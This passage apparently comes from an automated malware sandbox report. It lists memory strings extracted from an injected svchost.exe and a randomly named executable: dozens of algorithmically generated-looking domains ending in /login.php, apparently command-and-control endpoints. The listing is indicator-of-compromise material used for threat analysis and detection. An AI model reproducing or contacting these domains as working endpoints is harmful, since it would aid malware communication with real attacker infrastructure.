00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301364243.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufyxug.com/login.php
Source: svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296776136.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296803931.00000000086F4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujycov.com/login.php
Source: svchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671484952.00000000086F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujycyp.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3283281392.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2799131678.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3267123963.0000000003347000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2798176179.00000000058CC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2800821291.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404003407.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384104652.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujydap.com/login.php
Source: svchost.exe, 00000002.00000003.2337642053.0000000003305000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334498126.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334047161.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338382961.0000000003303000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337179930.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2640219450.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336661299.0000000003304000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334800958.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337435190.0000000008611000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610879120.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335316915.0000000008611000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujygaq.com/login.php
Source: svchost.exe, 00000002.00000003.2772293102.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2783207555.00000000033AD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2772917622.00000000033AF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujygug.com/http://pujygug.com/
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3284179552.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402132488.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2503287920.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3268596550.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246499612.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202773518.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502622128.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3388007673.0000000000884000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402132488.0000000008646000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202728385.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272090324.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434123780.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513112023.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2194197046.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2194197284.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3302596386.000000000865D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202485680.00000000008A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujygul.com/login.php
Source: svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334498126.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334047161.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337179930.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334800958.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujyjup.com/login.php
Source: svchost.exe, 00000002.00000003.2321460609.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323657176.000000000866F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2320047859.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321082744.00000000086D4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujylog.com/
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321434222.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578065233.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321666596.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujylog.com/login.php
Source: svchost.exe, 00000002.00000003.2709443016.00000000033AD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670655678.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2673206249.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671925473.00000000033AE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujypal.com/http://vonyrot.com/H
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246499612.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3268596550.0000000008643000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402132488.0000000008646000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3284179552.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665740291.00000000087FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujypal.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2297525559.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296732942.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296191981.0000000000883000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301364243.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujypup.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2554924248.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujyteq.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748679025.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujytug.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298951843.00000000086D4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307945417.0000000008615000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303458885.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307211585.0000000008682000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujyxyl.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumybal.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353785619.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353793003.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353676961.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359453590.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352880774.000000000878B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumybuq.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumycug.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578065233.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321666596.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumydoq.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353785619.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359008557.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353676961.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352880774.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumygil.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumyjev.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumymap.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumymuv.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3283281392.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396823285.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3268596550.0000000008643000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2155150601.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2394995795.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152199201.000000000338F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3284179552.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2733416103.00000000096C4000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2733416103.00000000095F8000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2670340730.0000000009356000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2606731229.0000000000721000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2754881152.0000000008405000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2767328417.0000000008790000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2754881152.000000000843D000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2711620441.0000000008C6C000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2695589851.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2695589851.0000000000C48000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2746386835.0000000008E05000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://pumypog.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2640219450.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635676013.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610879120.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635826907.00000000086F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumytol.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3284179552.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402132488.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3344516796.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3268596550.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246499612.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202773518.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202728385.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3388123270.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393409003.000000000338E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402591277.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202332641.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3347345159.000000000338D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2194197284.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3302596386.000000000865D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumytup.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2800821291.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumywov.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337642053.0000000003305000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338991462.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339128784.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338382961.0000000003303000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2628718282.00000000087AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2640219450.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339275288.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635696281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347564818.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635676013.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338959183.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635826907.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2638579923.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumywug.com/login.php
